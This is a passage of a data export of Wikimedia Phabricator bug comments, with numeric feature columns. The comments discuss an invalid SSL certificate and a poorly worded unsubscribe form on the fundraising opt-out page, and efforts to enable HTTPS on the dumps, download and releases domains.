[No, I do NOT wish to Unsubscribe]   [Yes, Unsubscribe me]
---

Requiring the user to re-enter his or her e-mail address is a pretty dickish move.

And finally, ""No, I do NOT wish to Unsubscribe"" is abominable language. The only way the user can figure out what that button does is by reading the other button and realizing it's the ""Yes"" button that he or she wants.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=72514",Medium,50.0,1386822720,1422036519.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-TASK-w6jfvymbposku7vv47q2,task_description,resolved,True,c3,1,True,False,True,-81,True,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,5.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,4.333333333333333,7.333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,6.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,2.0,1.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,11.333333333333334,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,2.6666666666666665,13.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,1.3333333333333333,0.0,0.0,4.333333333333333,7.333333333333333,3.0,0.0,2.3333333333333335,0.0,4.333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,1.0,3.635294117647059,0.7058823529411765,"This may need to be split out to separate bug reports.

The annual fundraising e-mail contains this text:

---
You are receiving this email as a valued donor of the Wikimedia Foundation. If you do not wish to receive any future emails from the Wikimedia Foundation, unsubscribe instantly.
---

""unsubscribe instantly"" is a link to <URL This domain doesn't have a valid SSL certificate, so the browser throws a terrifying warning. This is bad.

If the user chooses to proceed, he or she is presented with an awful form (so much for instantly unsubscribing...):

---
Opt-out Email Confirmation
Enter Email: [              ]

[No, I do NOT wish to Unsubscribe]   [Yes, Unsubscribe me]
---

Requiring the user to re-enter his or her e-mail address is a pretty dickish move.

And finally, ""No, I do NOT wish to Unsubscribe"" is abominable language. The only way the user can figure out what that button does is by reading the other button and realizing it's the ""Yes"" button that he or she wants.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
402547,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"I've looked into this further, and we have been able to update the unsubscribe link address so that the SSL cert is valid. I'd also like to note the form was updated about a month after this bugzilla ticket was initially created, and the ""No I do NOT wish..."" line was removed at that time for a much clearer opt-out. The only drawback is we had to change the link to:
https://www.pages04.net/wikimedia/WMFUnsubscribe/, however I think the tradeoff is worthwhile.

All future email appeals sent from Fundraising will use this new link (none have been sent yet in 2015). ",,,1422036519,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-23,True,1.5,0.0,0.0,3.5,0.5,6.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,1.0,0.0,3.5,0.0,4.5,9.5,1.0,2.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,5.5,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,13.5,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,5.5,7.5,1.0,1.0,9.5,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,3.5,9.5,1.5,0.0,1.0,0.0,3.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,3.681034482758621,0.8448275862068966,"I've looked into this further, and we have been able to update the unsubscribe link address so that the SSL cert is valid. I'd also like to note the form was updated about a month after this bugzilla ticket was initially created, and the ""No I do NOT wish..."" line was removed at that time for a much clearer opt-out. The only drawback is we had to change the link to:
URL however I think the tradeoff is worthwhile.

All future email appeals sent from Fundraising will use this new link (none have been sent yet in 2015). "
401520,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,The HTTPS Everywhere rules have been amended to avoid causing the security certificate warning for this domain. https://github.com/EFForg/https-everywhere/issues/686,,,1421706756,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,21.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.157894736842105,1.0,The HTTPS Everywhere rules have been amended to avoid causing the security certificate warning for this domain. URL
259337,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,[Resetting severity & priority as per comment 7],,,1388659690,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,4.1,1.0,[Resetting severity & priority as per comment 7]
259333,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"**mwalker** wrote:

Oh; we're aware of this all right. There's just not much we can actually do about it at this point. We tried fixing it but it broke other things... so we're delaying on this until after the fundraiser.

Our current position is that individuals using something like SSL Everywhere are an edgecase; and that a unsubscribe page that works consistently is currently better than one that doesn't work at all.",,,1387392865,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,False,,,-81,True,3.0,1.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,6.0,0.0,11.0,12.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,9.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,8.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,7.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,9.0,12.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,3.0,1.0,0.0,0.0,3.933333333333333,0.7666666666666667,"**mwalker** wrote:

Oh; we're aware of this all right. There's just not much we can actually do about it at this point. We tried fixing it but it broke other things... so we're delaying on this until after the fundraiser.

Our current position is that individuals using something like SSL Everywhere are an edgecase; and that a unsubscribe page that works consistently is currently better than one that doesn't work at all."
259328,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,Setting highest prio; I don't see how opt'ing out of an annual email requires immediate action. Now somebody please ping the Fundraising folks. ;),,,1387376170,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,11.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,14.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,11.0,0.0,4.0,0.0,4.392857142857143,0.9642857142857143,Setting highest prio; I don't see how opt'ing out of an annual email requires immediate action. Now somebody please ping the Fundraising folks. ;)
259322,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Confirming ""Untrusted cert"" warning for https://links.email.donate.wikimedia.org/

links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for *.links.mkt41.net (Error code: ssl_error_bad_cert_domain)",,,1386943948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.233333333333333,0.9,"Confirming ""Untrusted cert"" warning for URL

links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for *.links.mkt41.net (Error code: ssl_error_bad_cert_domain)"
259316,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Curious, I had no trouble earlier today but now I do see the dread warning in Firefox. Mysterious indeed?

""The certificate is only valid for *.links.mkt41.net""

Bumping up prio.",,,1386914003,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,18.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,11.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,4.0,0.8947368421052632,"Curious, I had no trouble earlier today but now I do see the dread warning in Firefox. Mysterious indeed?

""The certificate is only valid for *.links.mkt41.net""

Bumping up prio."
259312,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"(In reply to comment #1)
> I see no such warning in current Firefox or Safari.

Using Firefox 25.0 on Linux, for me it displays the security warning about invalid certificate, with the same reason as the screenshot of attachment 14074",,,1386879955,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,5.0,21.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,4.157894736842105,0.9210526315789473,"(In reply to comment #1)
QUOTE

Using Firefox 25.0 on Linux, for me it displays the security warning about invalid certificate, with the same reason as the screenshot of attachment 14074"
259307,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Created attachment 14074
Screenshot of https://links.email.donate.wikimedia.org in Google Chrome, OS X, 2013-12-12

(In reply to comment #1)
> I see no such warning in current Firefox or Safari.

Perhaps specific to Chrome? Uploaded a screenshot.

**Attached**: {F12010}",,,1386879568,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,28.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,0.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.28,0.78,"Created attachment 14074
Screenshot of URL in Google Chrome, OS X, 2013-12-12

(In reply to comment #1)
QUOTE

Perhaps specific to Chrome? Uploaded a screenshot.

**Attached**: {F12010}"
259304,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"(In reply to comment #0)
> ""unsubscribe instantly"" is a link to
> <https://links.email.donate.wikimedia.org/>. This domain doesn't have a valid
> SSL certificate, so the browser throws a terrifying warning. This is bad.

I see no such warning in current Firefox or Safari.

The form looks pretty awful though.",,,1386870431,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,0.8235294117647058,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

I see no such warning in current Firefox or Safari.

The form looks pretty awful though."
60292,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","I imagine it might be additionally useful for .sig files, but just in general ""because we can"", right?

http://download.wikimedia.org/mediawiki/1.22/mediawiki-1.22.0.tar.gz

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1386713040,1411427599.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_description,declined,True,c3,1,True,False,True,-82,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,7.0,2.0,2.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.7333333333333333,"I imagine it might be additionally useful for .sig files, but just in general ""because we can"", right?

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
279896,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","HTTPS got enabled. though the URL changed:

https://releases.wikimedia.org/mediawiki/1.22/

The old urls are now redirects which still have an invalid certificate, but last I checked ops isn't interested in serving valid or wildcard certs from redirect domains.

E.g. 

https://download.wikimedia.org/mediawiki/1.22/

Results in a certificate warning due to it serving a cert for dumps.wikimedia.org",,,1411427599,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,3.0,13.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.377049180327869,0.819672131147541,"HTTPS got enabled. though the URL changed:

URL

The old urls are now redirects which still have an invalid certificate, but last I checked ops isn't interested in serving valid or wildcard certs from redirect domains.

E.g. 

URL

Results in a certificate warning due to it serving a cert for dumps.wikimedia.org"
279891,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","even though that change has been merged you won't see a difference, the templates being touched are not actually applied, see my last comment on the gerrit change",,,1405115469,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,10.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.354838709677419,0.8709677419354839,"even though that change has been merged you won't see a difference, the templates being touched are not actually applied, see my last comment on the gerrit change"
279888,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","Change 145619 merged by Dzahn:
dumps: Point CSS background image to correct location

https://gerrit.wikimedia.org/r/145619",,,1405114665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,0.9444444444444444,"Change 145619 merged by Dzahn:
dumps: Point CSS background image to correct location

GERRIT_URL"
279884,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","Change 145619 had a related patch set uploaded by JanZerebecki:
dumps: Remove css background image that is 404

https://gerrit.wikimedia.org/r/145619",,,1405106153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,0.9565217391304348,"Change 145619 had a related patch set uploaded by JanZerebecki:
dumps: Remove css background image that is 404

GERRIT_URL"
279877,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","(In reply to Bartosz Dziewoński from comment #4)
> 
> Has that link ever worked? The 'monobook' directory was renamed to
> 'MonoBook', but this version doesn't work either. This should probably refer
> to bits.wikimedia.org, or preferably the file should be copied to dumps.

Is that file supposed to be https://upload.wikimedia.org/wikipedia/commons/a/a6/Headbg.jpg? Actually I guess we can just remove it, since I don't see why we need to include a background image on that page.",,,1404882569,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,8.0,13.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,23.0,4.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,9.0,13.0,8.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.452830188679245,0.7924528301886793,"(In reply to Bartosz Dziewoński from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Is that file supposed to be URL Actually I guess we can just remove it, since I don't see why we need to include a background image on that page."
279869,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","(In reply to chmarkine from comment #3)
> https://dumps.wikimedia.org/ homepage contains mixed content:
> * http://en.wikipedia.org/skins-1.5/monobook/headbg.jpg
> 
> Please change it to protocol-relative URL or remove it entirely, since this
> image doesn't exist (404).

Has that link ever worked? The 'monobook' directory was renamed to 'MonoBook', but this version doesn't work either. This should probably refer to bits.wikimedia.org, or preferably the file should be copied to dumps.",,,1404854686,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,3.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,9.0,9.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.890625,0.734375,"(In reply to chmarkine from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Has that link ever worked? The 'monobook' directory was renamed to 'MonoBook', but this version doesn't work either. This should probably refer to bits.wikimedia.org, or preferably the file should be copied to dumps."
279863,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","https://dumps.wikimedia.org/ homepage contains mixed content:
* http://en.wikipedia.org/skins-1.5/monobook/headbg.jpg

Please change it to protocol-relative URL or remove it entirely, since this image doesn't exist (404).",,,1404646733,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,"URL homepage contains mixed content:
* URL

Please change it to protocol-relative URL or remove it entirely, since this image doesn't exist (404)."
279858,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org",opened rt for this: https://rt.wikimedia.org/Ticket/Display.html?id=7067,,,1395137453,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,opened rt for this: URL
279854,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","There's probably a ticket in RT (<https://rt.wikimedia.org>) about this specific issue. Related:

* bug 23004 comment 9
